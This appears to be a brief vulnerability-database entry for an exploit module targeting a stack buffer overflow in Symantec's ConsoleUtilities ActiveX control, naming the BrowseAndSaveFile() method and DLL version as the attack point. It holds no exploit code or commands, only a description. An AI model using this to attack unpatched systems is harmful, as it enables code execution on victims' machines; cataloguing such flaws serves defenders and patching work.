Symantec ConsoleUtilities ActiveX Buffer Overflow

🗓️ 02 Nov 2009 00:00:00Reported by RootType

Symantec ConsoleUtilities ActiveX Buffer Overflow module exploits a stack overflow in Symantecs ConsoleUtilities. By sending an overly long string to the "BrowseAndSaveFile()" method located in the AeXNSConsoleUtilities.dll (6.0.0.1846) Control, an attacker may be able to execute arbitrary code
